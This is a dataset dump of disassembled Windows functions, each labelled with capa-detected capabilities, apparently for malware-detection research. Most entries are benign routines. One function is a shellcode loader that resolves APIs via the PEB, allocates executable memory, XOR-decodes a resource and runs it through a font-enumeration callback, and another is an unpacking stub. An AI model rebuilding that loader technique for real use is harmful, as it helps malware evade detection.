joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400051a0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x1400374b0]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [0x1400ed248]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3ed4], ebx
jne 0x140005236
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.140017a30
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x1400117b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1400a1040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1400ed248]
mov edi, ecx
cmp byte [rbx + 0x4a15], 0
jne 0x140011811
cmp byte [rbx + 0x4a16], 0
jne 0x140011811
movsx r9d, word [rbx + 0x5b0a]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002a40
test dil, 1
je 0x140011938
jmp 0x14001189a
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5b0a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x14009b28c]
mulss xmm1, dword [0x14009b27c]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x4778], rax
mov dword [rbx + 0x4764], 1
movss dword [rbx + 0x4770], xmm0
movss dword [rbx + 0x4774], xmm1
movss xmm0, dword [rbx + 0x38f4]
mulss xmm0, dword [0x14009b204]
or dword [rbx + 0x4760], 0x41
movss dword [rbx + 0x47c0], xmm0
call fcn.140002a40
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x1400118f0
lea r11, [0x1400374b0]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x1400118d3
cmp byte [r8], r9b
jne 0x1400118d3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1400118c0
not ecx
call fcn.14000ab00
test rax, rax
je 0x140011938
cmp byte [rax + 0x96], 0
je 0x140011938
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b0a]
mov edx, 0x10
movsx r9d, word [rbx + 0x5b0a]
call fcn.140002a40
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000d300
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400348d0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400162e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5bb8], 0
lea rbx, [rcx + 0x5bc0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140016387
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001633a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140018690
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140003250
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5bb8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5bc8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1400ed240]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001638f
mov rcx, rbx
call fcn.140003250
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140016900
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1400ed248]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140016963
mov qword [rsp], rbx
lea rbx, [0x1400374b0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140016943
cmp byte [r8], r9b
jne 0x140016943
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140016930
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5b68]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140016997
mov r10, qword [r10 + 0x5b70]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14001699e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140016984
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14002a100
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 0x210
call fcn.14000ff80
cmp byte [rax], 0
je 0x14002a16f
xor edx, edx
mov ecx, 0x210
call fcn.140010b30
test al, al
je 0x14002a16f
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x14002a16f
mov rbx, qword [0x1400ed248]
cmp byte [rbx + 0x37a9], 0
je 0x14002a15b
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x210
call fcn.140002580
mov dword [rbx + 0x380], 0x210
mov dword [rbx + 0x940], 0xa0
mov ecx, 0x214
call fcn.14000ff80
cmp byte [rax], 0
je 0x14002a1d8
xor edx, edx
mov ecx, 0x214
call fcn.140010b30
test al, al
je 0x14002a1d8
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x14002a1d8
mov rbx, qword [0x1400ed248]
cmp byte [rbx + 0x37a9], 0
je 0x14002a1c4
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x214
call fcn.140002580
mov dword [rbx + 0x384], 0x214
mov dword [rbx + 0x950], 0xa1
mov ecx, 0x212
call fcn.14000ff80
cmp byte [rax], 0
je 0x14002a241
xor edx, edx
mov ecx, 0x212
call fcn.140010b30
test al, al
je 0x14002a241
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x14002a241
mov rbx, qword [0x1400ed248]
cmp byte [rbx + 0x37a9], 0
je 0x14002a22d
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x212
call fcn.140002580
mov dword [rbx + 0x26c], 0x212
mov dword [rbx + 0x948], 0x5b
mov ecx, 0x216
call fcn.14000ff80
cmp byte [rax], 0
je 0x14002a2aa
xor edx, edx
mov ecx, 0x216
call fcn.140010b30
test al, al
je 0x14002a2aa
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x14002a2aa
mov rbx, qword [0x1400ed248]
cmp byte [rbx + 0x37a9], 0
je 0x14002a296
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x216
call fcn.140002580
mov dword [rbx + 0x270], 0x216
mov dword [rbx + 0x958], 0x5c
add rsp, 0x20
pop rbx
ret
Function at 0x1400353c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003540a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003540a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003540a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003540a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003540a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003540c
xor al, al
add rsp, 0x28
ret
Function at 0x100edab70
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100edab7d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100edab8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100edab75
lea eax, [rcx + 1]
jmp 0x100edab9b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100edabae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100edab94
sub eax, 3
jb 0x100edabce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100edac1d
sar eax, 1
movsxd rbp, eax
jb 0x100edac04
jmp 0x100edabdc
add ebx, ebx
jne 0x100edabda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100edac04
inc ecx
add ebx, ebx
jne 0x100edabea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100edac04
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100edabfd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100edabec
add ecx, 2
jmp 0x100edac09
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.100edab32
jmp 0x100edab7d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xed6000]
mov eax, dword [rdi]
or eax, eax
je 0x100edac79
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xef086c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100edac29
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100edac73
mov qword [rbx], rax
add rbx, 8
jmp 0x100edac49
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100edacfc], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100edacfc
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100edacec
sub rsp, 0xffffffffffffff80
jmp 0x100003210
Function at 0x140001070
Capabilities:
Encode data using xor
Execute command
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
call fcn.1400012d0
mov r8, qword [rax + 0x40]
cmp word [r8 + 0x18], 0
je 0x1400010af
nop
mov rax, qword [rax]
mov r8, qword [rax + 0x40]
cmp word [r8 + 0x18], 0
jne 0x1400010a0
mov rbp, qword [rax + 0x10]
xor ebx, ebx
mov edi, ebx
movsxd rax, dword [rbp + 0x3c]
mov ecx, dword [rax + rbp + 0x88]
add rcx, rbp
mov r15d, dword [rcx + 0x1c]
mov r12d, dword [rcx + 0x20]
add r15, rbp
mov r13d, dword [rcx + 0x24]
add r12, rbp
mov r14d, dword [rcx + 0x18]
add r13, rbp
test r14, r14
je 0x14000110f
movzx eax, word [r13 + rdi*2]
lea rdx, str.GetProcAddress
mov ecx, dword [r12 + rdi*4]
add rcx, rbp
mov esi, dword [r15 + rax*4]
add rsi, rbp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001117
inc rdi
cmp rdi, r14
jb 0x1400010e3
mov rsi, qword [rsp + 0x80]
lea rdx, str.VirtualProtect
mov rcx, rbp
call rsi
lea rdx, str.CreateThread
mov rcx, rbp
call rsi
lea rdx, str.WaitForSingleObject
mov rcx, rbp
call rsi
lea rdx, str.VirtualAlloc
mov rcx, rbp
call rsi
cmp dword [rsp + 0x70], 2
mov rbp, rax
jne 0x140001290
mov rcx, qword [rsp + 0x78]
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0x383939
mov rcx, qword [rcx + 8]
sub r9, rcx
nop
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140001185
inc rcx
test edx, edx
jne 0x140001170
test r8d, r8d
jne 0x140001270
lea r8, [0x140002300]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov edx, edi
lea rcx, [0x1400022b0]
mov rbx, rax
call fcn.140001010
movsxd rsi, edi
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x1000
xor ecx, ecx
call rbp
mov r8d, edi
mov rdx, rbx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x58
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
test edi, edi
jle 0x140001241
mov rbx, rbp
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x38e38e39
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
sub r8d, ecx
inc r8d
xor byte [rbx - 1], r8b
sub rsi, 1
jne 0x140001210
lea rcx, str.xxxxxxxxxxxxx_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
jmp 0x1400012a5
mov edx, ebx
lea rcx, [0x1400022b0]
call fcn.140001010
inc ebx
cmp ebx, 0x58
jl 0x140001270
jmp 0x1400012a5
mov edx, ebx
lea rcx, [0x1400022b0]
call fcn.140001010
inc ebx
cmp ebx, 0x64
jl 0x140001290
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x88]
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400012d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140001a08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a52
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a54
xor al, al
add rsp, 0x28
ret
Function at 0x180030c60
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x180030d25
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x180030d25
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x180030d3e
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x180030d15
cmp byte [rcx], 0x5c
jne 0x180030d0e
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x180030d0e
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x180030cfc
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x180030d0b
test r8b, 0x10
jne 0x180030d0e
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x180030d0e
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.1800341d0
test edi, edi
jne 0x180030c80
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.180032480
int3
Function at 0x180034800
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x180034834
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x180034820
ret

Function at 0x18003e490
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x18003e4b4
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
je 0x18003e542
mov rdi, r15
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x18003e510
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x18003e510
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.1801f5800
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18003e52d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18003e535
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x18003e4d1
mov rbp, qword [rsp + 0x40]
sub r15, rdi
jmp 0x18003e620
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x18003e559
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18003e55b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18003e58d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.1801f5800
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18003e61d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18003e5c8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x18003e5fe
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.1801af540
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x18003e61d
cmp rsi, rax
ja 0x18003e5d1
test rsi, rsi
je 0x18003e61d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1801af540
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x48]
mov rax, r15
mov rdi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
Function at 0x180045550
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rbx, rdx
lea rax, [rbp + 0x30]
mov rcx, rbx
mov qword [rbp - 0x30], rax
mov rdx, r9
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1800455ec
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
mov ecx, 0x20
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
call fcn.18013464c
movups xmm0, xmmword [str.FindResource_returned_null.]
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x20]
mov qword [rbp - 0x10], 0x1b
mov rdx, rax
mov qword [rbp - 8], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x18020ee40]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x18020ee48]
mov word [rax + 0x18], cx
movzx eax, byte [0x18020ee4a]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], dil
xor edx, edx
jmp 0x18004574b
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x18004565c
xor eax, eax
xorps xmm0, xmm0
mov ecx, 0x20
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 8], rax
call fcn.18013464c
movups xmm0, xmmword [str.SizeofResource_returned_0.]
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x20]
mov qword [rbp - 0x10], 0x1a
xor edx, edx
mov qword [rbp - 8], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x18020ee60]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x18020ee68]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
jmp 0x18004574b
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1800456d5
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
mov ecx, 0x20
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
call fcn.18013464c
movups xmm0, xmmword [str.LockResource_returned_null.]
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x20]
mov qword [rbp - 0x10], 0x1b
mov rdx, rax
mov qword [rbp - 8], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x18020ee80]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x18020ee88]
mov word [rax + 0x18], cx
movzx eax, byte [0x18020ee8a]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], 0
xor edx, edx
jmp 0x18004574b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
jne 0x18004573a
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
mov ecx, 0x20
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
call fcn.18013464c
movups xmm0, xmmword [str.Resource_data_is_null.]
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x20]
mov qword [rbp - 0x10], socket
xor edx, edx
mov qword [rbp - 8], 0x1f
movups xmmword [rax], xmm0
mov ecx, dword [0x18020eea0]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x18020eea4]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
jmp 0x18004574b
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1800113d0
mov r8, rax
mov dl, 1
lea rcx, [rbp - 0x30]
call fcn.1800452d0
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x180045de0
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x1802e1c40]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rsi, rcx
mov qword [rbp - 0x39], rcx
xor ebx, ebx
mov dword [rbp - 0x55], ebx
lea rcx, [rbp - 0x29]
call fcn.1800460a0
nop
mov rdx, rax
lea rcx, [rbp - 9]
call fcn.180044600
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x180045e66
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180045e61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180045f5b
call fcn.180134688
movdqa xmm0, xmmword [0x18020c470]
movdqu xmmword [rbp - 0x19], xmm0
mov byte [rbp - 0x29], 0
mov dword [rbp - 0x59], ebx
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 7
cmova rcx, qword [rbp - 9]
lea rdx, [rbp - 0x59]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov r14d, eax
test eax, eax
je 0x180045f61
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov edx, r14d
mov rcx, rsi
call fcn.180045770
mov rcx, qword [rsi]
lea rbx, [rcx + r14]
mov r8d, r14d
xor edx, edx
call fcn.1801f5ea0
mov qword [rsi + 8], rbx
mov dword [rbp - 0x55], 1
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 7
cmova rcx, qword [rbp - 9]
mov r9, qword [rsi]
mov r8d, r14d
mov edx, dword [rbp - 0x59]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x180045f9f
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x180045f2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180045f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180045f55
call fcn.180134688
mov rax, rsi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.180134d40
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.180180f08
nop
call fcn.180180f08
int3
lea rcx, [rbp + 0x17]
call fcn.180045fe0
nop
lea rcx, str.Failed_to_GetFileVersionInfoSize._Error:_
mov qword [rbp - 0x29], rcx
mov qword [rbp - 0x21], 0x2b
mov r8, rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x51]
call fcn.180042d30
lea rdx, [0x1802de5a8]
lea rcx, [rbp - 0x51]
call fcn.180171a30
nop
lea rcx, [rbp + 0x17]
call fcn.180045fe0
nop
lea rcx, str.Failed_to_GetFileVersionInfo._Error:_
mov qword [rbp - 0x29], rcx
mov qword [rbp - 0x21], 0x27
mov r8, rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x51]
call fcn.180042d30
lea rdx, [0x1802de5a8]
lea rcx, [rbp - 0x51]
call fcn.180171a30
int3